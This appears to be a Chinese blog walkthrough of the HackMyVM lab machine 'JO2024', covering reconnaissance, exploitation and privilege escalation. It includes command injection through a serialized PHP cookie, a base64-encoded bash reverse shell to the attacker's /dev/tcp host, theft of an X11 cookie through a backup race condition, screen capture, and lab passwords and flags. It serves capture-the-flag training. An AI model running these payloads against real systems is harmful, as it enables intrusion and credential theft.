hmv[-_-]JO2024
|
39
|
0
|
CP,WEB

598 字
|
15 分钟

JO2024

image-20240821145650356

image-20240821151337657

信息搜集

端口扫描

┌──(kali💀kali)-[~/temp/JO2024]
└─$ rustscan -a $IP -- -sCV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.10.101:22
Open 192.168.10.101:80

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLuHH80SwA8Qff3pGOY4aBesL0Aeesw6jqX+pbtR9O7w8jlbyNhuHmjjABb/34BxFp2oBx8o5xuZVXS1cE9nAlE=
|   256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKFE9s2IvPGAJ7Pt0kSC8t9OXYUrueJQQplSC2wbYtY
80/tcp open  http    syn-ack Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Paris 2024 Olympic Games
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

┌──(kali💀kali)-[~/temp/JO2024]
└─$ gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip -b 301,401,403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.10.101
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   401,403,404,301
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,zip,php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 7812]
/preferences.php      (Status: 200) [Size: 3163]
Progress: 200913 / 1323366 (15.18%)[ERROR] Get "http://192.168.10.101/vpro.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.101/troops.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.101/speedbar.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.101/vpro.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.101/vpro.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.101/vpro.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 237754 / 1323366 (17.97%)
[!] Keyboard interrupt detected, terminating.
Progress: 237759 / 1323366 (17.97%)
===============================================================
Finished
===============================================================

漏洞发现

踩点

image-20240821151444940

┌──(kali💀kali)-[~/temp/JO2024]
└─$ whatweb http://$IP                                                                                                                   
http://192.168.10.101 [200 OK] Apache[2.4.61], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[192.168.10.101], Script, Title[Paris 2024 Olympic Games]

敏感目录

http://192.168.10.101/preferences.php

image-20240821151607374

看一下cookie：

image-20240821151655101

尝试解密一下：

image-20240821152051272

TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==
O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:4:"#ddd";}

尝试一下不同的cookie位置试试。

cookie 命令执行

O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:19:"<?php phpinfo(); ?>";}
# ┌──(kali💀kali)-[~/temp/JO2024]
# └─$ echo -n "<?php phpinfo(); ?>" | wc -c
# 19
TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6MTk6Ijw/cGhwIHBocGluZm8oKTsgPz4iO30=

但是不行，尝试别的办法，尝试序列化注入？

image-20240821154029638

似乎也并未执行，重新试了一下，似乎=不转码为%3D也可以正常识别。。。。。转移命令执行的位置：

O:15:"UserPreferences":2:{s:8:"language";s:6:"whoami";s:15:"backgroundColor";s:4:"#ddd";}
# TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjEwOiJmcmB3aG9hbWlgIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==

image-20240821171515831

可以执行系统命令，尝试进行反弹shell！

# ┌──(kali💀kali)-[~/temp/JO2024]
# └─$ echo -n "bash -c 'exec bash -i &>/dev/tcp/192.168.10.105/1234 <&1'" | wc -c
# 57
O:15:"UserPreferences":2:{s:8:"language";s:57:"bash -c 'exec bash -i &>/dev/tcp/192.168.10.105/1234 <&1'";s:15:"backgroundColor";s:4:"#ddd";}
# TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU3OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjEwLjEwNS8xMjM0IDwmMSciO3M6MTU6ImJhY2tncm91bmRDb2xvciI7czo0OiIjZGRkIjt9

image-20240821171826591

提权

信息搜集

(remote) www-data@jo2024.hmv:/var/www$ cat /etc/passwd | grep /bin
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
vanity:x:1000:1000:,,,:/home/vanity:/bin/bash
tss:x:103:111:TPM software stack,,,:/var/lib/tpm:/bin/false
lightdm:x:106:114:Light Display Manager:/var/lib/lightdm:/bin/false
(remote) www-data@jo2024.hmv:/home/vanity$ ls -la
total 76
drwxr-xr-x 10 vanity vanity 4096 Aug 21 09:30 .
drwxr-xr-x  3 root   root   4096 Jul 28 12:27 ..
-rw-------  1 vanity vanity  158 Aug 21 09:29 .Xauthority
lrwxrwxrwx  1 root   root      9 Jul 26 18:04 .bash_history -> /dev/null
-rw-r--r--  1 vanity vanity  220 Jul 29 13:48 .bash_logout
-rw-r--r--  1 vanity vanity 3526 Jul 29 13:48 .bashrc
drwxr-xr-x  7 vanity vanity 4096 Jul 29 13:48 .cache
drwx------ 13 vanity vanity 4096 Jul 29 15:47 .config
-rw-r--r--  1 vanity vanity   35 Jul 29 13:48 .dmrc
-rw-------  1 vanity vanity   36 Jul 29 13:48 .lesshst
drwxr-xr-x  3 vanity vanity 4096 Jul 29 13:48 .local
-rw-r--r--  1 vanity vanity  807 Jul 29 13:48 .profile
drwx------  2 vanity vanity 4096 Jul 29 14:40 .ssh
-rw-r--r--  1 vanity vanity    8 Jul 29 13:48 .xprofile
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Desktop
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Documents
drwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Images
-rwxr-xr-x  1 vanity vanity  557 Jul 29 15:44 backup
drwx------  2 vanity vanity 4096 Jul 29 13:48 creds
-rwx------  1 vanity vanity   33 Jul 29 13:48 user.txt
(remote) www-data@jo2024.hmv:/home/vanity$ cat .dmrc
[Desktop]
Session=lightdm-xsession
(remote) www-data@jo2024.hmv:/home/vanity$ cat backup 
#!/bin/bash

SRC="/home/vanity"
DEST="/backup"

rm -rf /backup/{*,.*}

echo "Starting copy..."
find "$SRC" -maxdepth 1 -type f ! -name user.txt | while read srcfile; do
    destfile="$DEST${srcfile#$SRC}"
    mkdir -p "$(dirname "$destfile")"
    dd if="$srcfile" of="$destfile" bs=4M

    md5src=$(md5sum "$srcfile" | cut -d ' ' -f1)
    md5dest=$(md5sum "$destfile" | cut -d ' ' -f1)
    if [[ "$md5src" != "$md5dest" ]]; then
        echo "MD5 mismatch for $srcfile :("
    fi
    chmod 700 "$destfile"

done

echo "Copy complete. All files verified !"

看上去是我们想要的，但是找不到利用方法，先搜集一下其他的信息：

(remote) www-data@jo2024.hmv:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
(remote) www-data@jo2024.hmv:/tmp$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/slock cap_dac_override,cap_sys_resource=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
(remote) www-data@jo2024.hmv:/tmp$ file /usr/bin/slock
/usr/bin/slock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daad7fee7f614053398b6649689adb3d9e318b2, for GNU/Linux 3.2.0, stripped

上传linpeas.sh以及pspy64：

image-20240821173754867

果然是定时任务，看来就是要在这个脚本想办法了！

由于一般文件夹创立权限为755或者775，故在脚本运行过程中可以尝试竞争出相关文件：

(remote) www-data@jo2024.hmv:/backup$ while true; do cat .Xauthority >> /tmp/log 2>/dev/null;sleep 0.01; done
^C
(remote) www-data@jo2024.hmv:/backup$ cat /tmp/log
debian11MIT-MAGIC-COOKIE-1�>7�
�EXJ[���f�debian0MIT-MAGIC-COOKIE-1������m�lJ���

jo2024.hmv0MIT-MAGIC-COOKIE-1��q���%���(ȕ���
..............

有师傅发了一个参考文献：https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11#screenshots-capturing

(remote) www-data@jo2024.hmv:/backup$ w
 12:37:41 up  3:08,  1 user,  load average: 0.02, 0.07, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
vanity   tty7     :0               09:29    3:08m  0.00s  0.08s /usr/bin/lxsession -s LXDE -e LXDE

直接把它取保候审了！！上传一个busybox！

(remote) www-data@jo2024.hmv:/tmp$ wget http://192.168.10.105:8888/busybox
(remote) www-data@jo2024.hmv:/tmp$ chmod +x busybox 
(remote) www-data@jo2024.hmv:/tmp$ ./busybox xxd log
00000000: 0100 0006 6465 6269 616e 0002 3131 0012  ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945  MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010  -1...>7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001  ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f  0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00  KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032  .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41  4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 a4d5  GIC-COOKIE-1....
00000090: 7190 b1f2 25fe f8e4 28c8 959e b4f2 0100  q...%...(.......
000000a0: 0006 6465 6269 616e 0002 3131 0012 4d49  ..debian..11..MI
000000b0: 542d 4d41 4749 432d 434f 4f4b 4945 2d31  T-MAGIC-COOKIE-1
000000c0: 0010 e23e 37c8 0ab2 4558 4a5b f010 c6d3  ...>7...EXJ[....
000000d0: 6685 0100 0006 6465 6269 616e 0001 3000  f.....debian..0.
000000e0: 124d 4954 2d4d 4147 4943 2d43 4f4f 4b49  .MIT-MAGIC-COOKI
000000f0: 452d 3100 10f9 9d8e bcf0 f56d 8f00 036c  E-1........m...l
00000100: 4aac edb2 0c01 0000 0a6a 6f32 3032 342e  J........jo2024.
00000110: 686d 7600 0130 0012 4d49 542d 4d41 4749  hmv..0..MIT-MAGI
00000120: 432d 434f 4f4b 4945 2d31 0010 a4d5 7190  C-COOKIE-1....q.
00000130: b1f2 25fe f8e4 28c8 959e b4f2            ..%...(.....
(remote) www-data@jo2024.hmv:/tmp$ xauth -f log     
Using authority file log
xauth> list
debian/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685
debian/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c
jo2024.hmv/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2
debian/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685
debian/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c
jo2024.hmv/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2
xauth> 
(remote) www-data@jo2024.hmv:/tmp$ export XAUTHORITY=/tmp/log            
(remote) www-data@jo2024.hmv:/tmp$ xwd -root -screen -silent -display :0 > screenshot.xwd
(remote) www-data@jo2024.hmv:/tmp$ python3 -m http.server 8888
# kali
┌──(kali💀kali)-[~/temp/JO2024]
└─$ wget http://192.168.10.101:8888/screenshot.xwd                                                                                                                                     
┌──(kali💀kali)-[~/temp/JO2024]
└─$ convert screenshot.xwd screenshot.png

image-20240821190914307

抽象。。。。。

vanity:xd0oITR93KIQDbiD

image-20240821191213253

提权root

vanity@jo2024:~$ sudo -l
Matching Defaults entries for vanity on jo2024:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vanity may run the following commands on jo2024:
    (ALL : ALL) NOPASSWD: /usr/local/bin/php-server.sh
vanity@jo2024:~$ cat /usr/local/bin/php-server.sh
#!/bin/bash

/usr/bin/php -t /opt -S 0.0.0.0:8000
vanity@jo2024:~$ sudo /usr/local/bin/php-server.sh&
[1] 449123
vanity@jo2024:~$ ss -tnlup
Netid              State               Recv-Q              Send-Q                           Local Address:Port                           Peer Address:Port              Process              
udp                UNCONN              0                   0                                 127.0.0.1%lo:53                                  0.0.0.0:*                                      
udp                UNCONN              0                   0                                     [::1]%lo:53                                     [::]:*                                      
tcp                LISTEN              0                   128                                    0.0.0.0:22                                  0.0.0.0:*                                      
tcp                LISTEN              0                   4096                                   0.0.0.0:8000                                0.0.0.0:*                                      
tcp                LISTEN              0                   10                                127.0.0.1%lo:53                                  0.0.0.0:*                                      
tcp                LISTEN              0                   511                                          *:80                                        *:*                                      
tcp                LISTEN              0                   128                                       [::]:22                                     [::]:*                                      
tcp                LISTEN              0                   10                                    [::1]%lo:53                                     [::]:*

image-20240821192049174

image-20240821192121165

然后发现：

vanity@jo2024:/tmp$ wget [Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 Accepted
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 Accepted
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 [200]: GET /
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 Closing
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 Accepted
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 [200]: GET /blurred-text.png
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 [200]: POST /get_protected_content.php
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 Closing
[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 Closing
[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 Accepted
[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 [404]: GET /favicon.ico - No such file or directory
[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 Closing

尝试fuzz一下相关参数：

ffuf -c -u 'http://192.168.10.101:8000/get_protected_content.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --fs 21

但是一直不出来，F12看一下：

image-20240821200537136

e2bf095dd5279a3125fe325c9465fd7a6eca386c30d306c11bcdb79306064b35

image-20240821201445369

服了，在这。。。。

vanity@jo2024:/tmp$ su root
Password: 
root@jo2024:/tmp# cd ~
root@jo2024:~# ls -la
total 36
drwx------  5 root root 4096 Jul 29 16:18 .
drwxr-xr-x 19 root root 4096 Jul 29 16:04 ..
lrwxrwxrwx  1 root root    9 Mar  9 14:31 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Jul 29 13:48 .bashrc
drwx------  2 root root 4096 Jul 29 13:48 .cache
-rw-------  1 root root   20 Jul 29 13:48 .lesshst
drwxr-xr-x  3 root root 4096 Jul 29 16:17 .local
-rw-r--r--  1 root root  161 Jul 29 13:48 .profile
-rwx------  1 root root   33 Jul 29 13:48 root.txt
drwx------  2 root root 4096 Jul 29 13:48 .ssh
root@jo2024:~# cat root.txt 
cbd60dab37bc85e1f7ea4b5c9c4eed90
root@jo2024:~# cd .local/
root@jo2024:~/.local# cat error.sh 
#!/bin/bash

rm -f /home/vanity/.xsession-errors*

image-20240821201804737

拿下root，完结撒花！

image-20240821201829434

全是自己人，哈哈哈！！！

暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																					

							
							
						

										
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇
下一篇 

                    

                    
			        推荐文章
		            

		            

							
hmv[-_-]lookup

							
							

							
hmv[-_-]UnbakedPie

							
							

							
hmv[-_-]Pickle

							
							

							
hmv[-_-]Random

							
							

							
Vulnyx(°ー°〃)Psymin

							
							

							
hmv[-_-]HackingToys